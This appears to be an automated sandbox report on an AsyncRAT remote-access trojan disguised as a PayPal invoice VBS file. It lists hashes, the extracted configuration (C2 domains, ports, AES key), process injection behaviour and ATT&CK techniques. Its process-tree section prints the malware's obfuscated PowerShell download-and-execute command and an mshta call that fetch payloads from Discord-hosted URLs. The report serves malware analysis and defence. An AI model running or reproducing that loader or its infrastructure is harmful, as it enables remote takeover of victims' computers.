asyncrat | fda270ad50aed906730605ca93ecaa3e24792dd070bb443f94d2d6c23124ad61

General

Target

invoice-order-21412-paypal.xlxs.vbs
Size

162B
MD5

af9312989a85c937bf50226288f659ab
SHA1

ecb5925f60c91a7926579f086642c3f193fa1e64
SHA256

fda270ad50aed906730605ca93ecaa3e24792dd070bb443f94d2d6c23124ad61
SHA512

113a7dace186edcec5862f4d5fa75cab31ff096c51fac88549e42656eaba60a09660a2115579fc7aab8142b6c6bb65b0342486a522e161f598a103b2167d3413

Score

10^/10

asyncrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/833265385779494912/833265488183820359/Kaspersky.txt

Extracted

Family

asyncrat

Version

0.5.7B

C2

:6606

:7707

:8808

usa-man.accesscam.org:6606

usa-man.accesscam.org:7707

usa-man.accesscam.org:8808

xaft.camdvr.org:6606

xaft.camdvr.org:7707

xaft.camdvr.org:8808

goodpc.theworkpc.com:6606

goodpc.theworkpc.com:7707

goodpc.theworkpc.com:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
9sb1l01wZwOFyWz3WpY3G9vMmrO3T3j5
anti_detection
false
autorun
false
bdos
false
delay
Default
host
,usa-man.accesscam.org,xaft.camdvr.org,goodpc.theworkpc.com
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
6606,7707,8808
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 5 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1420-73-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/1420-74-0x000000000040C79E-mapping.dmp	asyncrat
behavioral1/memory/1420-76-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/1420-81-0x0000000004130000-0x000000000414D000-memory.dmp	asyncrat
behavioral1/memory/1420-82-0x0000000005400000-0x0000000005440000-memory.dmp	asyncrat

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

7 1176 mshta.exe
9 1176 mshta.exe
10 632 powershell.exe
12 632 powershell.exe
14 632 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 632 set thread context of 1420 632 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

632 powershell.exe
632 powershell.exe
1420 aspnet_compiler.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 632 powershell.exe
Token: SeDebugPrivilege 1420 aspnet_compiler.exe

flow	pid	process
7	1176	mshta.exe
9	1176	mshta.exe
10	632	powershell.exe
12	632	powershell.exe
14	632	powershell.exe

description	pid	process	target process
PID 632 set thread context of 1420	632	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
632	powershell.exe
632	powershell.exe
1420	aspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	632	powershell.exe
Token: SeDebugPrivilege	1420	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exemshta.exepowershell.exe

description	pid	process	target process
PID 1104 wrote to memory of 1176	1104	WScript.exe	mshta.exe
PID 1104 wrote to memory of 1176	1104	WScript.exe	mshta.exe
PID 1104 wrote to memory of 1176	1104	WScript.exe	mshta.exe
PID 1176 wrote to memory of 632	1176	mshta.exe	powershell.exe
PID 1176 wrote to memory of 632	1176	mshta.exe	powershell.exe
PID 1176 wrote to memory of 632	1176	mshta.exe	powershell.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe
PID 632 wrote to memory of 1420	632	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\invoice-order-21412-paypal.xlxs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/833265385779494912/833265576608530492/Encoding.txt
2⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://cdn.discordapp.com/attachments/833265385779494912/833265488183820359/Kaspersky.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
f0e4d34ed76525d8f9e4d7330493870d

SHA1
e269bbae066db1e3d4d168ef7b39406fe84c2ae1

SHA256
6bcd573ce6d631dc7f8444d9a7d395a8e7f9fd74ecaafa40867d31a91ffb146c

SHA512
d1e55d8ac5ee0fb9340ec80df996ae4069803f87c65c5fb82e54dff293983d0b129b3e40f78e3bfd12bc5a07f9cf9771abe8748cb1064f6b362ea192108fdc18

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
6e30e0bef3ff5acf5c4b5429314584bf

SHA1
c2641c710c9f6190786ed73f82b7b5969258e31f

SHA256
5895df6209b2df04b8ade3c38a7556923614ac2ead4980328263820fdca8edcf

SHA512
cf08a60bda5f6b2301c412716dac6b75bc681f52b1cb5d65b65cfb8a978cab3ae652a5ff993cb8ffa5047fd94547904b61d5709cfd503f4e5c438964bb8fb660

Download Submit
memory/632-70-0x000000001B600000-0x000000001B601000-memory.dmp

Filesize
4KB

Download
memory/632-61-0x0000000000000000-mapping.dmp

Download
memory/632-64-0x000000001AC50000-0x000000001AC51000-memory.dmp

Filesize
4KB

Download
memory/632-65-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/632-66-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/632-67-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

Filesize
8KB

Download
memory/632-68-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

Filesize
8KB

Download
memory/632-69-0x000000001C4F0000-0x000000001C4F1000-memory.dmp

Filesize
4KB

Download
memory/632-75-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/632-63-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/632-72-0x0000000002560000-0x000000000257F000-memory.dmp

Filesize
124KB

Download
memory/1104-59-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmp

Filesize
8KB

Download
memory/1176-60-0x0000000000000000-mapping.dmp

Download
memory/1420-73-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1420-74-0x000000000040C79E-mapping.dmp

Download
memory/1420-76-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1420-78-0x0000000076E11000-0x0000000076E13000-memory.dmp

Filesize
8KB

Download
memory/1420-79-0x0000000004C00000-0x0000000004C01000-memory.dmp

Filesize
4KB

Download
memory/1420-81-0x0000000004130000-0x000000000414D000-memory.dmp

Filesize
116KB

Download
memory/1420-82-0x0000000005400000-0x0000000005440000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads